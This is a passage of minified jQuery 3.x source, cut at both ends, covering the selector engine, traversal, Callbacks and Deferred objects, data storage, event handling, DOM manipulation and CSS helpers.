r=n<0?n+t:n;++r<t;)e.push(r);return e})}},C.pseudos.nth=C.pseudos.eq;for(w in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})C.pseudos[w]=a(w);for(w in{submit:!0,reset:!0})C.pseudos[w]=u(w);return p.prototype=C.filters=C.pseudos,C.setFilters=new p,E=t.tokenize=function(e,n){var r,o,i,s,a,u,c,l=z[e+\" \"];if(l)return n?0:l.slice(0);for(a=e,u=[],c=C.preFilter;a;){r&&!(o=ue.exec(a))||(o&&(a=a.slice(o[0].length)||a),u.push(i=[])),r=!1,(o=ce.exec(a))&&(r=o.shift(),i.push({value:r,type:o[0].replace(ae,\" \")}),a=a.slice(r.length));for(s in C.filter)!(o=he[s].exec(a))||c[s]&&!(o=c[s](o))||(r=o.shift(),i.push({value:r,type:s,matches:o}),a=a.slice(r.length));if(!r)break}return n?a.length:a?t.error(e):z(e,u).slice(0)},S=t.compile=function(e,t){var n,r=[],o=[],i=X[e+\" \"];if(!i){for(t||(t=E(e)),n=t.length;n--;)i=x(t[n]),i[$]?r.push(i):o.push(i);i=X(e,b(o,r)),i.selector=e}return i},N=t.select=function(e,t,n,r){var o,i,s,a,u,c=\"function\"==typeof e&&e,l=!r&&E(e=c.selector||e);if(n=n||[],1===l.length){if(i=l[0]=l[0].slice(0),i.length>2&&\"ID\"===(s=i[0]).type&&9===t.nodeType&&F&&C.relative[i[1].type]){if(t=(C.find.ID(s.matches[0].replace(xe,be),t)||[])[0],!t)return n;c&&(t=t.parentNode),e=e.slice(i.shift().value.length)}for(o=he.needsContext.test(e)?0:i.length;o--&&(s=i[o],!C.relative[a=s.type]);)if((u=C.find[a])&&(r=u(s.matches[0].replace(xe,be),ye.test(i[0].type)&&f(t.parentNode)||t))){if(i.splice(o,1),e=r.length&&h(i),!e)return K.apply(n,r),n;break}}return(c||S(e,l))(r,t,!F,n,!t||ye.test(e)&&f(t.parentNode)||t),n},T.sortStable=$.split(\"\").sort(V).join(\"\")===$,T.detectDuplicates=!!D,O(),T.sortDetached=o(function(e){return 1&e.compareDocumentPosition(L.createElement(\"fieldset\"))}),o(function(e){return e.innerHTML=\"<a href='#'></a>\",\"#\"===e.firstChild.getAttribute(\"href\")})||i(\"type|href|height|width\",function(e,t,n){if(!n)return e.getAttribute(t,\"type\"===t.toLowerCase()?1:2)}),T.attributes&&o(function(e){return e.innerHTML=\"<input/>\",e.firstChild.setAttribute(\"value\",\"\"),\"\"===e.firstChild.getAttribute(\"value\")})||i(\"value\",function(e,t,n){if(!n&&\"input\"===e.nodeName.toLowerCase())return e.defaultValue}),o(function(e){return null==e.getAttribute(\"disabled\")})||i(te,function(e,t,n){var r;if(!n)return e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);de.find=xe,de.expr=xe.selectors,de.expr[\":\"]=de.expr.pseudos,de.uniqueSort=de.unique=xe.uniqueSort,de.text=xe.getText,de.isXMLDoc=xe.isXML,de.contains=xe.contains,de.escapeSelector=xe.escape;var be=function(e,t,n){for(var r=[],o=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(o&&de(e).is(n))break;r.push(e)}return r},we=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},Te=de.expr.match.needsContext,Ce=/^<([a-z][^\\/\\0>:\\x20\\t\\r\\n\\f]*)[\\x20\\t\\r\\n\\f]*\\/?>(?:<\\/\\1>|)$/i,je=/^.[^:#\\[\\.,]*$/;de.filter=function(e,t,n){var r=t[0];return n&&(e=\":not(\"+e+\")\"),1===t.length&&1===r.nodeType?de.find.matchesSelector(r,e)?[r]:[]:de.find.matches(e,de.grep(t,function(e){return 1===e.nodeType}))},de.fn.extend({find:function(e){var t,n,r=this.length,o=this;if(\"string\"!=typeof e)return this.pushStack(de(e).filter(function(){for(t=0;t<r;t++)if(de.contains(o[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)de.find(e,o[t],n);return r>1?de.uniqueSort(n):n},filter:function(e){return this.pushStack(o(this,e||[],!1))},not:function(e){return this.pushStack(o(this,e||[],!0))},is:function(e){return!!o(this,\"string\"==typeof e&&Te.test(e)?de(e):e||[],!1).length}});var ke,Ee=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]+))$/,Se=de.fn.init=function(e,t,n){var r,o;if(!e)return this;if(n=n||ke,\"string\"==typeof e){if(r=\"<\"===e[0]&&\">\"===e[e.length-1]&&e.length>=3?[null,e,null]:Ee.exec(e),!r||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof de?t[0]:t,de.merge(this,de.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:te,!0)),Ce.test(r[1])&&de.isPlainObject(t))for(r in t)de.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return o=te.getElementById(r[2]),o&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):de.isFunction(e)?void 0!==n.ready?n.ready(e):e(de):de.makeArray(e,this)};Se.prototype=de.fn,ke=de(te);var Ne=/^(?:parents|prev(?:Until|All))/,Ae={children:!0,contents:!0,next:!0,prev:!0};de.fn.extend({has:function(e){var t=de(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(de.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,o=this.length,i=[],s=\"string\"!=typeof e&&de(e);if(!Te.test(e))for(;r<o;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(s?s.index(n)>-1:1===n.nodeType&&de.find.matchesSelector(n,e))){i.push(n);break}return this.pushStack(i.length>1?de.uniqueSort(i):i)},index:function(e){return e?\"string\"==typeof e?se.call(de(e),this[0]):se.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(de.uniqueSort(de.merge(this.get(),de(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),de.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return be(e,\"parentNode\")},parentsUntil:function(e,t,n){return be(e,\"parentNode\",n)},next:function(e){return i(e,\"nextSibling\")},prev:function(e){return i(e,\"previousSibling\")},nextAll:function(e){return be(e,\"nextSibling\")},prevAll:function(e){return be(e,\"previousSibling\")},nextUntil:function(e,t,n){return be(e,\"nextSibling\",n)},prevUntil:function(e,t,n){return be(e,\"previousSibling\",n)},siblings:function(e){return we((e.parentNode||{}).firstChild,e)},children:function(e){return we(e.firstChild)},contents:function(e){return e.contentDocument||de.merge([],e.childNodes)}},function(e,t){de.fn[e]=function(n,r){var o=de.map(this,t,n);return\"Until\"!==e.slice(-5)&&(r=n),r&&\"string\"==typeof r&&(o=de.filter(r,o)),this.length>1&&(Ae[e]||de.uniqueSort(o),Ne.test(e)&&o.reverse()),this.pushStack(o)}});var qe=/[^\\x20\\t\\r\\n\\f]+/g;de.Callbacks=function(e){e=\"string\"==typeof e?s(e):de.extend({},e);var t,n,r,o,i=[],a=[],u=-1,c=function(){for(o=e.once,r=t=!0;a.length;u=-1)for(n=a.shift();++u<i.length;)i[u].apply(n[0],n[1])===!1&&e.stopOnFalse&&(u=i.length,n=!1);e.memory||(n=!1),t=!1,o&&(i=n?[]:\"\")},l={add:function(){return i&&(n&&!t&&(u=i.length-1,a.push(n)),function t(n){de.each(n,function(n,r){de.isFunction(r)?e.unique&&l.has(r)||i.push(r):r&&r.length&&\"string\"!==de.type(r)&&t(r)})}(arguments),n&&!t&&c()),this},remove:function(){return de.each(arguments,function(e,t){for(var n;(n=de.inArray(t,i,n))>-1;)i.splice(n,1),n<=u&&u--}),this},has:function(e){return e?de.inArray(e,i)>-1:i.length>0},empty:function(){return i&&(i=[]),this},disable:function(){return o=a=[],i=n=\"\",this},disabled:function(){return!i},lock:function(){return o=a=[],n||t||(i=n=\"\"),this},locked:function(){return!!o},fireWith:function(e,n){return o||(n=n||[],n=[e,n.slice?n.slice():n],a.push(n),t||c()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l},de.extend({Deferred:function(t){var n=[[\"notify\",\"progress\",de.Callbacks(\"memory\"),de.Callbacks(\"memory\"),2],[\"resolve\",\"done\",de.Callbacks(\"once memory\"),de.Callbacks(\"once memory\"),0,\"resolved\"],[\"reject\",\"fail\",de.Callbacks(\"once memory\"),de.Callbacks(\"once memory\"),1,\"rejected\"]],r=\"pending\",o={state:function(){return r},always:function(){return i.done(arguments).fail(arguments),this},catch:function(e){return o.then(null,e)},pipe:function(){var e=arguments;return de.Deferred(function(t){de.each(n,function(n,r){var o=de.isFunction(e[r[4]])&&e[r[4]];i[r[1]](function(){var e=o&&o.apply(this,arguments);e&&de.isFunction(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+\"With\"](this,o?[e]:arguments)})}),e=null}).promise()},then:function(t,r,o){function i(t,n,r,o){return function(){var c=this,l=arguments,f=function(){var e,f;if(!(t<s)){if(e=r.apply(c,l),e===n.promise())throw new TypeError(\"Thenable self-resolution\");f=e&&(\"object\"==typeof e||\"function\"==typeof e)&&e.then,de.isFunction(f)?o?f.call(e,i(s,n,a,o),i(s,n,u,o)):(s++,f.call(e,i(s,n,a,o),i(s,n,u,o),i(s,n,a,n.notifyWith))):(r!==a&&(c=void 0,l=[e]),(o||n.resolveWith)(c,l))}},p=o?f:function(){try{f()}catch(e){de.Deferred.exceptionHook&&de.Deferred.exceptionHook(e,p.stackTrace),t+1>=s&&(r!==u&&(c=void 0,l=[e]),n.rejectWith(c,l))}};t?p():(de.Deferred.getStackHook&&(p.stackTrace=de.Deferred.getStackHook()),e.setTimeout(p))}}var s=0;return de.Deferred(function(e){n[0][3].add(i(0,e,de.isFunction(o)?o:a,e.notifyWith)),n[1][3].add(i(0,e,de.isFunction(t)?t:a)),n[2][3].add(i(0,e,de.isFunction(r)?r:u))}).promise()},promise:function(e){return null!=e?de.extend(e,o):o}},i={};return de.each(n,function(e,t){var s=t[2],a=t[5];o[t[1]]=s.add,a&&s.add(function(){r=a},n[3-e][2].disable,n[0][2].lock),s.add(t[3].fire),i[t[0]]=function(){return i[t[0]+\"With\"](this===i?void 0:this,arguments),this},i[t[0]+\"With\"]=s.fireWith}),o.promise(i),t&&t.call(i,i),i},when:function(e){var t=arguments.length,n=t,r=Array(n),o=re.call(arguments),i=de.Deferred(),s=function(e){return function(n){r[e]=this,o[e]=arguments.length>1?re.call(arguments):n,--t||i.resolveWith(r,o)}};if(t<=1&&(c(e,i.done(s(n)).resolve,i.reject),\"pending\"===i.state()||de.isFunction(o[n]&&o[n].then)))return i.then();for(;n--;)c(o[n],s(n),i.reject);return i.promise()}});var De=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;de.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&De.test(t.name)&&e.console.warn(\"jQuery.Deferred exception: \"+t.message,t.stack,n)},de.readyException=function(t){e.setTimeout(function(){throw t})};var Oe=de.Deferred();de.fn.ready=function(e){return Oe.then(e).catch(function(e){de.readyException(e)}),this},de.extend({isReady:!1,readyWait:1,holdReady:function(e){e?de.readyWait++:de.ready(!0)},ready:function(e){(e===!0?--de.readyWait:de.isReady)||(de.isReady=!0,e!==!0&&--de.readyWait>0||Oe.resolveWith(te,[de]))}}),de.ready.then=Oe.then,\"complete\"===te.readyState||\"loading\"!==te.readyState&&!te.documentElement.doScroll?e.setTimeout(de.ready):(te.addEventListener(\"DOMContentLoaded\",l),e.addEventListener(\"load\",l));var Le=function(e,t,n,r,o,i,s){var a=0,u=e.length,c=null==n;if(\"object\"===de.type(n)){o=!0;for(a in n)Le(e,t,a,n[a],!0,i,s)}else if(void 0!==r&&(o=!0,de.isFunction(r)||(s=!0),c&&(s?(t.call(e,r),t=null):(c=t,t=function(e,t,n){return c.call(de(e),n)})),t))for(;a<u;a++)t(e[a],n,s?r:r.call(e[a],a,t(e[a],n)));return o?e:c?t.call(e):u?t(e[0],n):i},He=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};f.uid=1,f.prototype={cache:function(e){var t=e[this.expando];return t||(t={},He(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,o=this.cache(e);if(\"string\"==typeof t)o[de.camelCase(t)]=n;else for(r in t)o[de.camelCase(r)]=t[r];return o},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][de.camelCase(t)]},access:function(e,t,n){return void 0===t||t&&\"string\"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){de.isArray(t)?t=t.map(de.camelCase):(t=de.camelCase(t),t=t in r?[t]:t.match(qe)||[]),n=t.length;for(;n--;)delete r[t[n]]}(void 0===t||de.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!de.isEmptyObject(t)}};var Fe=new f,Re=new f,Ie=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,Pe=/[A-Z]/g;de.extend({hasData:function(e){return Re.hasData(e)||Fe.hasData(e)},data:function(e,t,n){return Re.access(e,t,n)},removeData:function(e,t){Re.remove(e,t)},_data:function(e,t,n){return Fe.access(e,t,n)},_removeData:function(e,t){Fe.remove(e,t)}}),de.fn.extend({data:function(e,t){var n,r,o,i=this[0],s=i&&i.attributes;if(void 0===e){if(this.length&&(o=Re.get(i),1===i.nodeType&&!Fe.get(i,\"hasDataAttrs\"))){for(n=s.length;n--;)s[n]&&(r=s[n].name,0===r.indexOf(\"data-\")&&(r=de.camelCase(r.slice(5)),h(i,r,o[r])));Fe.set(i,\"hasDataAttrs\",!0)}return o}return\"object\"==typeof e?this.each(function(){Re.set(this,e)}):Le(this,function(t){var n;if(i&&void 0===t){if(n=Re.get(i,e),void 0!==n)return n;if(n=h(i,e),void 0!==n)return n}else this.each(function(){Re.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){Re.remove(this,e)})}}),de.extend({queue:function(e,t,n){var r;if(e)return t=(t||\"fx\")+\"queue\",r=Fe.get(e,t),n&&(!r||de.isArray(n)?r=Fe.access(e,t,de.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||\"fx\";var n=de.queue(e,t),r=n.length,o=n.shift(),i=de._queueHooks(e,t),s=function(){de.dequeue(e,t)};\"inprogress\"===o&&(o=n.shift(),r--),o&&(\"fx\"===t&&n.unshift(\"inprogress\"),delete i.stop,o.call(e,s,i)),!r&&i&&i.empty.fire()},_queueHooks:function(e,t){var n=t+\"queueHooks\";return Fe.get(e,n)||Fe.access(e,n,{empty:de.Callbacks(\"once memory\").add(function(){Fe.remove(e,[t+\"queue\",n])})})}}),de.fn.extend({queue:function(e,t){var n=2;return\"string\"!=typeof e&&(t=e,e=\"fx\",n--),arguments.length<n?de.queue(this[0],e):void 0===t?this:this.each(function(){var n=de.queue(this,e,t);de._queueHooks(this,e),\"fx\"===e&&\"inprogress\"!==n[0]&&de.dequeue(this,e)})},dequeue:function(e){return this.each(function(){de.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||\"fx\",[])},promise:function(e,t){var n,r=1,o=de.Deferred(),i=this,s=this.length,a=function(){--r||o.resolveWith(i,[i])};for(\"string\"!=typeof e&&(t=e,e=void 0),e=e||\"fx\";s--;)n=Fe.get(i[s],e+\"queueHooks\"),n&&n.empty&&(r++,n.empty.add(a));return a(),o.promise(t)}});var Me=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,$e=new RegExp(\"^(?:([+-])=|)(\"+Me+\")([a-z%]*)$\",\"i\"),We=[\"Top\",\"Right\",\"Bottom\",\"Left\"],Be=function(e,t){return e=t||e,\"none\"===e.style.display||\"\"===e.style.display&&de.contains(e.ownerDocument,e)&&\"none\"===de.css(e,\"display\")},_e=function(e,t,n,r){var o,i,s={};for(i in t)s[i]=e.style[i],e.style[i]=t[i];o=n.apply(e,r||[]);for(i in t)e.style[i]=s[i];return o},Ue={};de.fn.extend({show:function(){return m(this,!0)},hide:function(){return m(this)},toggle:function(e){return\"boolean\"==typeof e?e?this.show():this.hide():this.each(function(){Be(this)?de(this).show():de(this).hide()})}});var ze=/^(?:checkbox|radio)$/i,Xe=/<([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]+)/i,Ve=/^$|\\/(?:java|ecma)script/i,Ge={option:[1,\"<select multiple='multiple'>\",\"</select>\"],thead:[1,\"<table>\",\"</table>\"],col:[2,\"<table><colgroup>\",\"</colgroup></table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],_default:[0,\"\",\"\"]};Ge.optgroup=Ge.option,Ge.tbody=Ge.tfoot=Ge.colgroup=Ge.caption=Ge.thead,Ge.th=Ge.td;var Ye=/<|&#?\\w+;/;!function(){var e=te.createDocumentFragment(),t=e.appendChild(te.createElement(\"div\")),n=te.createElement(\"input\");n.setAttribute(\"type\",\"radio\"),n.setAttribute(\"checked\",\"checked\"),n.setAttribute(\"name\",\"t\"),t.appendChild(n),pe.checkClone=t.cloneNode(!0).cloneNode(!0).lastChild.checked,t.innerHTML=\"<textarea>x</textarea>\",pe.noCloneChecked=!!t.cloneNode(!0).lastChild.defaultValue}();var Qe=te.documentElement,Je=/^key/,Ke=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ze=/^([^.]*)(?:\\.(.+)|)/;de.event={global:{},add:function(e,t,n,r,o){var i,s,a,u,c,l,f,p,h,d,g,m=Fe.get(e);if(m)for(n.handler&&(i=n,n=i.handler,o=i.selector),o&&de.find.matchesSelector(Qe,o),n.guid||(n.guid=de.guid++),(u=m.events)||(u=m.events={}),(s=m.handle)||(s=m.handle=function(t){return\"undefined\"!=typeof de&&de.event.triggered!==t.type?de.event.dispatch.apply(e,arguments):void 0}),t=(t||\"\").match(qe)||[\"\"],c=t.length;c--;)a=Ze.exec(t[c])||[],h=g=a[1],d=(a[2]||\"\").split(\".\").sort(),h&&(f=de.event.special[h]||{},h=(o?f.delegateType:f.bindType)||h,f=de.event.special[h]||{},l=de.extend({type:h,origType:g,data:r,handler:n,guid:n.guid,selector:o,needsContext:o&&de.expr.match.needsContext.test(o),namespace:d.join(\".\")},i),(p=u[h])||(p=u[h]=[],p.delegateCount=0,f.setup&&f.setup.call(e,r,d,s)!==!1||e.addEventListener&&e.addEventListener(h,s)),f.add&&(f.add.call(e,l),l.handler.guid||(l.handler.guid=n.guid)),o?p.splice(p.delegateCount++,0,l):p.push(l),de.event.global[h]=!0)},remove:function(e,t,n,r,o){var i,s,a,u,c,l,f,p,h,d,g,m=Fe.hasData(e)&&Fe.get(e);if(m&&(u=m.events)){for(t=(t||\"\").match(qe)||[\"\"],c=t.length;c--;)if(a=Ze.exec(t[c])||[],h=g=a[1],d=(a[2]||\"\").split(\".\").sort(),h){for(f=de.event.special[h]||{},h=(r?f.delegateType:f.bindType)||h,p=u[h]||[],a=a[2]&&new RegExp(\"(^|\\\\.)\"+d.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),s=i=p.length;i--;)l=p[i],!o&&g!==l.origType||n&&n.guid!==l.guid||a&&!a.test(l.namespace)||r&&r!==l.selector&&(\"**\"!==r||!l.selector)||(p.splice(i,1),l.selector&&p.delegateCount--,f.remove&&f.remove.call(e,l));s&&!p.length&&(f.teardown&&f.teardown.call(e,d,m.handle)!==!1||de.removeEvent(e,h,m.handle),delete u[h])}else for(h in u)de.event.remove(e,h+t[c],n,r,!0);de.isEmptyObject(u)&&Fe.remove(e,\"handle events\")}},dispatch:function(e){var t,n,r,o,i,s,a=de.event.fix(e),u=new Array(arguments.length),c=(Fe.get(this,\"events\")||{})[a.type]||[],l=de.event.special[a.type]||{};for(u[0]=a,t=1;t<arguments.length;t++)u[t]=arguments[t];if(a.delegateTarget=this,!l.preDispatch||l.preDispatch.call(this,a)!==!1){for(s=de.event.handlers.call(this,a,c),t=0;(o=s[t++])&&!a.isPropagationStopped();)for(a.currentTarget=o.elem,n=0;(i=o.handlers[n++])&&!a.isImmediatePropagationStopped();)a.rnamespace&&!a.rnamespace.test(i.namespace)||(a.handleObj=i,a.data=i.data,r=((de.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,u),void 0!==r&&(a.result=r)===!1&&(a.preventDefault(),a.stopPropagation()));return l.postDispatch&&l.postDispatch.call(this,a),a.result}},handlers:function(e,t){var n,r,o,i,s,a=[],u=t.delegateCount,c=e.target;if(u&&c.nodeType&&!(\"click\"===e.type&&e.button>=1))for(;c!==this;c=c.parentNode||this)if(1===c.nodeType&&(\"click\"!==e.type||c.disabled!==!0)){for(i=[],s={},n=0;n<u;n++)r=t[n],o=r.selector+\" \",void 0===s[o]&&(s[o]=r.needsContext?de(o,this).index(c)>-1:de.find(o,this,null,[c]).length),s[o]&&i.push(r);i.length&&a.push({elem:c,handlers:i})}return c=this,u<t.length&&a.push({elem:c,handlers:t.slice(u)}),a},addProp:function(e,t){Object.defineProperty(de.Event.prototype,e,{enumerable:!0,configurable:!0,get:de.isFunction(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[de.expando]?e:new de.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==T()&&this.focus)return this.focus(),!1},delegateType:\"focusin\"},blur:{trigger:function(){if(this===T()&&this.blur)return this.blur(),!1},delegateType:\"focusout\"},click:{trigger:function(){if(\"checkbox\"===this.type&&this.click&&de.nodeName(this,\"input\"))return this.click(),!1},_default:function(e){return de.nodeName(e.target,\"a\")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},de.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},de.Event=function(e,t){return this instanceof de.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&e.returnValue===!1?b:w,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&de.extend(this,t),this.timeStamp=e&&e.timeStamp||de.now(),void(this[de.expando]=!0)):new de.Event(e,t)},de.Event.prototype={constructor:de.Event,isDefaultPrevented:w,isPropagationStopped:w,isImmediatePropagationStopped:w,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=b,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=b,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=b,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},de.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&Je.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Ke.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},de.event.addProp),de.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\",pointerenter:\"pointerover\",pointerleave:\"pointerout\"},function(e,t){de.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,o=e.relatedTarget,i=e.handleObj;return o&&(o===r||de.contains(r,o))||(e.type=i.origType,n=i.handler.apply(this,arguments),e.type=t),n}}}),de.fn.extend({on:function(e,t,n,r){return C(this,e,t,n,r)},one:function(e,t,n,r){return C(this,e,t,n,r,1)},off:function(e,t,n){var r,o;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,de(e.delegateTarget).off(r.namespace?r.origType+\".\"+r.namespace:r.origType,r.selector,r.handler),this;if(\"object\"==typeof e){for(o in e)this.off(o,t,e[o]);return this}return t!==!1&&\"function\"!=typeof t||(n=t,t=void 0),n===!1&&(n=w),this.each(function(){de.event.remove(this,e,n,t)})}});var et=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)[^>]*)\\/>/gi,tt=/<script|<style|<link/i,nt=/checked\\s*(?:[^=]|=\\s*.checked.)/i,rt=/^true\\/(.*)/,ot=/^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g;de.extend({htmlPrefilter:function(e){return e.replace(et,\"<$1></$2>\")},clone:function(e,t,n){var r,o,i,s,a=e.cloneNode(!0),u=de.contains(e.ownerDocument,e);if(!(pe.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||de.isXMLDoc(e)))for(s=v(a),i=v(e),r=0,o=i.length;r<o;r++)N(i[r],s[r]);if(t)if(n)for(i=i||v(e),s=s||v(a),r=0,o=i.length;r<o;r++)S(i[r],s[r]);else S(e,a);return s=v(a,\"script\"),s.length>0&&y(s,!u&&v(e,\"script\")),a},cleanData:function(e){for(var t,n,r,o=de.event.special,i=0;void 0!==(n=e[i]);i++)if(He(n)){if(t=n[Fe.expando]){if(t.events)for(r in t.events)o[r]?de.event.remove(n,r):de.removeEvent(n,r,t.handle);n[Fe.expando]=void 0}n[Re.expando]&&(n[Re.expando]=void 0)}}}),de.fn.extend({detach:function(e){return q(this,e,!0)},remove:function(e){return q(this,e)},text:function(e){return Le(this,function(e){return void 0===e?de.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return A(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=j(this,e);t.appendChild(e)}})},prepend:function(){return A(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=j(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return A(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return A(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(de.cleanData(v(e,!1)),e.textContent=\"\");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return de.clone(this,e,t)})},html:function(e){return Le(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if(\"string\"==typeof e&&!tt.test(e)&&!Ge[(Xe.exec(e)||[\"\",\"\"])[1].toLowerCase()]){e=de.htmlPrefilter(e);try{for(;n<r;n++)t=this[n]||{},1===t.nodeType&&(de.cleanData(v(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return A(this,arguments,function(t){var n=this.parentNode;de.inArray(this,e)<0&&(de.cleanData(v(this)),n&&n.replaceChild(t,this))},e)}}),de.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(e,t){de.fn[e]=function(e){for(var n,r=[],o=de(e),i=o.length-1,s=0;s<=i;s++)n=s===i?this:this.clone(!0),de(o[s])[t](n),ie.apply(r,n.get());return this.pushStack(r)}});var it=/^margin/,st=new RegExp(\"^(\"+Me+\")(?!px)[a-z%]+$\",\"i\"),at=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)};!function(){function t(){if(a){a.style.cssText=\"box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%\",a.innerHTML=\"\",Qe.appendChild(s);var t=e.getComputedStyle(a);n=\"1%\"!==t.top,i=\"2px\"===t.marginLeft,r=\"4px\"===t.width,a.style.marginRight=\"50%\",o=\"4px\"===t.marginRight,Qe.removeChild(s),a=null}}var n,r,o,i,s=te.createElement(\"div\"),a=te.createElement(\"div\");a.style&&(a.style.backgroundClip=\"content-box\",a.cloneNode(!0).style.backgroundClip=\"\",pe.clearCloneStyle=\"content-box\"===a.style.backgroundClip,s.style.cssText=\"border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute\",s.appendChild(a),de.extend(pe,{pixelPosition:function(){return t(),n},boxSizingReliable:function(){return t(),r},pixelMarginRight:function(){return t(),o},reliableMarginLeft:function(){return t(),i}}))}();var ut=/^(none|table(?!-c[ea]).+)/,ct={position:\"absolute\",visibility:\"hidden\",display:\"block\"},lt={letterSpacing:\"0\",fontWeight:\"400\"},ft=[\"Webkit\",\"Moz\",\"ms\"],pt=te.createElement(\"div\").style;de.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=D(e,\"opacity\");return\"\"===n?\"1\":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{float:\"cssFloat\"},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var 